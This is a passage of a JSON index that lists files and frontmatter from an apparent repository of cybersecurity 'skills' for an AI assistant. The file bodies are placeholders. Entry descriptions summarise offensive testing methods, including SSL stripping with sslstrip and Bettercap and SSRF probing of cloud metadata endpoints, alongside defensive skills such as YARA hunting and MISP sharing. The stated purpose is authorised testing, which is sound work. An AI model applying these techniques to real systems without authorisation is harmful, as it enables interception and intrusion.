-->","isInternal":false,"tokens":466,"sizeBytes":2012},{"name":"SKILL.md","path":"skills/performing-ssl-stripping-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-stripping-attack/SKILL.md","title":"performing-ssl-stripping-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2FSKILL.md -->","frontmatter":{"name":"performing-ssl-stripping-attack","description":"Simulates SSL stripping / HTTPS downgrade attacks using sslstrip, Bettercap, and mitmproxy in authorized lab environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms. Use when performing an authorized penetration test to validate HSTS preloading and TLS certificate handling, demonstrate downgrade-attack risk to stakeholders, or train SOC teams to detect SSL stripping indicators in network traffic.","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","ssl-stripping","https","hsts","tls-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1573"]},"isInternal":false,"tokens":2644,"sizeBytes":10875},{"name":"api-reference.md","path":"skills/performing-ssl-tls-inspection-configuration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-tls-inspection-configuration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":562,"sizeBytes":2263},{"name":"SKILL.md","path":"skills/performing-ssl-tls-inspection-configuration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-tls-inspection-configuration/SKILL.md","title":"performing-ssl-tls-inspection-configuration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2FSKILL.md -->","frontmatter":{"name":"performing-ssl-tls-inspection-configuration","description":"Configure SSL/TLS break-and-inspect on next-generation firewalls and forward proxies to decrypt, inspect, and re-encrypt HTTPS traffic for malware and exfiltration detection, including deploying trusted CA certificates, managing exemptions for certificate-pinned apps, and privacy compliance. Use when setting up or auditing TLS inspection on network security devices to close the encrypted-traffic blind spot.","domain":"cybersecurity","subdomain":"network-security","tags":["ssl-inspection","tls-decryption","https-inspection","certificate-management","proxy","man-in-the-middle","network-security","forward-proxy"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1573"]},"isInternal":false,"tokens":2647,"sizeBytes":11856},{"name":"api-reference.md","path":"skills/performing-ssl-tls-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-tls-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":538,"sizeBytes":1917},{"name":"SKILL.md","path":"skills/performing-ssl-tls-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-tls-security-assessment/SKILL.md","title":"performing-ssl-tls-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-ssl-tls-security-assessment","description":"Assess SSL/TLS server configurations using the sslyze Python scanning library to evaluate supported protocol versions, cipher suite strength, certificate chain validation, HSTS enforcement, OCSP stapling, and known vulnerabilities such as Heartbleed and ROBOT. Use when conducting a security assessment of a server's TLS configuration or verifying remediation of cipher/certificate weaknesses.","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","ssl","tls","sslyze","certificate","cipher-suites","vulnerability-assessment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1553"]},"isInternal":false,"tokens":539,"sizeBytes":2387},{"name":"api-reference.md","path":"skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":423,"sizeBytes":1469},{"name":"SKILL.md","path":"skills/performing-ssrf-vulnerability-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/SKILL.md","title":"performing-ssrf-vulnerability-exploitation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2FSKILL.md -->","frontmatter":{"name":"performing-ssrf-vulnerability-exploitation","description":"Tests web application URL parameters for Server-Side Request Forgery by probing cloud metadata endpoints (AWS/GCP/Azure at 169.254.169.254), internal network services, and protocol handlers (file://, gopher://, dict://) using a Python script, including IP-encoding bypass and DNS rebinding checks. Use during authorized penetration testing to confirm SSRF in a URL-fetching parameter and generate a vulnerability report.","domain":"cybersecurity","subdomain":"security-operations","tags":["ssrf","web-application-security","cloud-metadata-abuse","vulnerability-exploitation","penetration-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1078.004","T1530"]},"isInternal":false,"tokens":577,"sizeBytes":2373},{"name":"api-reference.md","path":"skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":538,"sizeBytes":2176},{"name":"SKILL.md","path":"skills/performing-static-malware-analysis-with-pe-studio/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-static-malware-analysis-with-pe-studio/SKILL.md","title":"performing-static-malware-analysis-with-pe-studio","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2FSKILL.md -->","frontmatter":{"name":"performing-static-malware-analysis-with-pe-studio","description":"Performs static analysis of Windows PE malware samples using PEStudio to examine file headers, imports, strings, and resources without executing the binary, identifying packing, anti-analysis tricks, and malicious imports. Use for pre-execution triage of a suspicious Windows executable before sandbox detonation.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","static-analysis","PE-analysis","PEStudio","reverse-engineering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T0816"]},"isInternal":false,"tokens":3136,"sizeBytes":13204},{"name":"api-reference.md","path":"skills/performing-steganography-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-steganography-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":575,"sizeBytes":2345},{"name":"SKILL.md","path":"skills/performing-steganography-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-steganography-detection/SKILL.md","title":"performing-steganography-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2FSKILL.md -->","frontmatter":{"name":"performing-steganography-detection","description":"Detects and extracts hidden data embedded in images, audio, and other media files using steganalysis tools such as StegDetect, zsteg, stegsolve, binwalk, steghide, and OpenStego to uncover covert communication channels. Use when investigating suspected data hiding or exfiltration via media files, espionage/insider-threat cases, or anomalies in media file properties found during standard file analysis.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","steganography","steganalysis","hidden-data","covert-channels","image-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3299,"sizeBytes":12494},{"name":"template.md","path":"skills/performing-subdomain-enumeration-with-subfinder/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-subdomain-enumeration-with-subfinder/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":326,"sizeBytes":1494},{"name":"api-reference.md","path":"skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":557,"sizeBytes":2097},{"name":"standards.md","path":"skills/performing-subdomain-enumeration-with-subfinder/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-subdomain-enumeration-with-subfinder/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":321,"sizeBytes":1509},{"name":"workflows.md","path":"skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":377,"sizeBytes":1627},{"name":"SKILL.md","path":"skills/performing-subdomain-enumeration-with-subfinder/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-subdomain-enumeration-with-subfinder/SKILL.md","title":"performing-subdomain-enumeration-with-subfinder","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2FSKILL.md -->","frontmatter":{"name":"performing-subdomain-enumeration-with-subfinder","description":"Enumerate subdomains of target domains using ProjectDiscovery's Subfinder passive reconnaissance tool to map the attack surface during security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["subdomain-enumeration","reconnaissance","bug-bounty","attack-surface","subfinder","passive-recon","osint"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1595"]},"isInternal":false,"tokens":1680,"sizeBytes":6997},{"name":"api-reference.md","path":"skills/performing-supply-chain-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-supply-chain-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":841,"sizeBytes":2901},{"name":"SKILL.md","path":"skills/performing-supply-chain-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-supply-chain-attack-simulation/SKILL.md","title":"performing-supply-chain-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"performing-supply-chain-attack-simulation","description":"Simulates and detects software supply chain attacks: typosquatting detection via Levenshtein distance against popular PyPI package names, dependency confusion testing against private registries, SHA-256 package hash verification, and known-CVE scanning with pip-audit. Use when auditing a project's dependencies for malicious or confused packages, or when assessing package-registry supply-chain risk.","domain":"cybersecurity","subdomain":"application-security","tags":["supply-chain","typosquatting","dependency-confusion","package-verification","pip-audit","PyPI","software-composition-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-04","ID.RA-01","PR.DS-10"],"mitre_attack":["T1078","T1190","T1059","T1195","T1554"]},"isInternal":false,"tokens":615,"sizeBytes":2872},{"name":"template.md","path":"skills/performing-thick-client-application-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-thick-client-application-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":164,"sizeBytes":691},{"name":"api-reference.md","path":"skills/performing-thick-client-application-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-thick-client-application-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":577,"sizeBytes":2337},{"name":"standards.md","path":"skills/performing-thick-client-application-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-thick-client-application-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":140,"sizeBytes":544},{"name":"workflows.md","path":"skills/performing-thick-client-application-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-thick-client-application-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":179,"sizeBytes":821},{"name":"SKILL.md","path":"skills/performing-thick-client-application-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-thick-client-application-penetration-test/SKILL.md","title":"performing-thick-client-application-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2FSKILL.md -->","frontmatter":{"name":"performing-thick-client-application-penetration-test","description":"Conduct a thick client application penetration test to identify insecure local storage, hardcoded credentials, DLL hijacking, memory manipulation, and insecure API communication in desktop applications using dnSpy, Procmon, and Burp Suite.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["thick-client","desktop-application","dnSpy","Procmon","DLL-hijacking","binary-analysis","API-interception"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"]},"isInternal":false,"tokens":2058,"sizeBytes":8380},{"name":"api-reference.md","path":"skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":448,"sizeBytes":1709},{"name":"SKILL.md","path":"skills/performing-threat-emulation-with-atomic-red-team/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md","title":"performing-threat-emulation-with-atomic-red-team","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2FSKILL.md -->","frontmatter":{"name":"performing-threat-emulation-with-atomic-red-team","description":"Executes Atomic Red Team tests for MITRE ATT&CK technique validation using the atomic-operator Python framework. Loads test definitions from YAML atomics, runs attack simulations, and validates detection coverage. Use when testing SIEM detection rules, validating EDR coverage, or conducting purple team exercises.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-emulation","atomic-red-team","mitre-attack","adversary-emulation","atomic-operator","purple-team"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1685.002"]},"isInternal":false,"tokens":630,"sizeBytes":2543},{"name":"api-reference.md","path":"skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":604,"sizeBytes":2451},{"name":"SKILL.md","path":"skills/performing-threat-hunting-with-elastic-siem/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-hunting-with-elastic-siem/SKILL.md","title":"performing-threat-hunting-with-elastic-siem","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2FSKILL.md -->","frontmatter":{"name":"performing-threat-hunting-with-elastic-siem","description":"Performs proactive threat hunting in Elastic Security SIEM using KQL/EQL queries, detection rules, and Timeline investigation to identify threats that evade automated detection. Use when SOC teams need to hunt for specific ATT&CK techniques, investigate anomalous behaviors, or validate detection coverage gaps using Elasticsearch and Kibana Security.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","elastic","siem","threat-hunting","kql","eql","mitre-attack","kibana"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T1027"]},"isInternal":false,"tokens":2535,"sizeBytes":9913},{"name":"api-reference.md","path":"skills/performing-threat-hunting-with-yara-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-hunting-with-yara-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":601,"sizeBytes":2176},{"name":"SKILL.md","path":"skills/performing-threat-hunting-with-yara-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-hunting-with-yara-rules/SKILL.md","title":"performing-threat-hunting-with-yara-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2FSKILL.md -->","frontmatter":{"name":"performing-threat-hunting-with-yara-rules","description":"Use YARA pattern-matching rules to hunt for malware, suspicious files, and indicators of compromise across filesystems and memory dumps. Covers rule authoring, yara-python scanning, and integration with threat intel feeds.\n","domain":"cybersecurity","subdomain":"threat-hunting","tags":["yara","malware-detection","threat-hunting","pattern-matching"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1005"]},"isInternal":false,"tokens":3250,"sizeBytes":13822},{"name":"api-reference.md","path":"skills/performing-threat-intelligence-sharing-with-misp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-intelligence-sharing-with-misp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":819,"sizeBytes":2804},{"name":"SKILL.md","path":"skills/performing-threat-intelligence-sharing-with-misp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-intelligence-sharing-with-misp/SKILL.md","title":"performing-threat-intelligence-sharing-with-misp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2FSKILL.md -->","frontmatter":{"name":"performing-threat-intelligence-sharing-with-misp","description":"Uses PyMISP (the official MISP REST API library) to create events with structured IOCs (IPs, domains, hashes, URLs), enrich them with MITRE ATT&CK tags and galaxy clusters, manage sharing groups and distribution levels, search existing intelligence, and export in STIX 2.1 format. Use when creating, enriching, or sharing threat intelligence events on a MISP instance, or integrating IOC feeds with other platforms.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["misp","pymisp","threat-intelligence","ioc-sharing","stix","taxii","threat-feeds","information-sharing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":720,"sizeBytes":3104},{"name":"api-reference.md","path":"skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":533,"sizeBytes":1995},{"name":"SKILL.md","path":"skills/performing-threat-landscape-assessment-for-sector/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-landscape-assessment-for-sector/SKILL.md","title":"performing-threat-landscape-assessment-for-sector","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2FSKILL.md -->","frontmatter":{"name":"performing-threat-landscape-assessment-for-sector","description":"Conducts a sector-specific threat landscape assessment (financial, healthcare, energy, government, etc.) by profiling targeting threat actors, mapping attack vectors and MITRE ATT&CK TTPs with the attackcti/pandas Python stack, and analyzing exploited CVEs and incident trends from ISAC and vendor reports. Use when producing CTI for risk management or board-level reporting on an industry's threat exposure.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-landscape","sector-analysis","risk-assessment","threat-intelligence","industry-targeting","cti","strategic-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1566"]},"isInternal":false,"tokens":2821,"sizeBytes":12764},{"name":"template.md","path":"skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":266,"sizeBytes":1014},{"name":"api-reference.md","path":"skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":550,"sizeBytes":2065},{"name":"standards.md","path":"skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":428,"sizeBytes":1836},{"name":"workflows.md","path":"skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":376,"sizeBytes":1803},{"name":"SKILL.md","path":"skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md","title":"performing-threat-modeling-with-owasp-threat-dragon","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 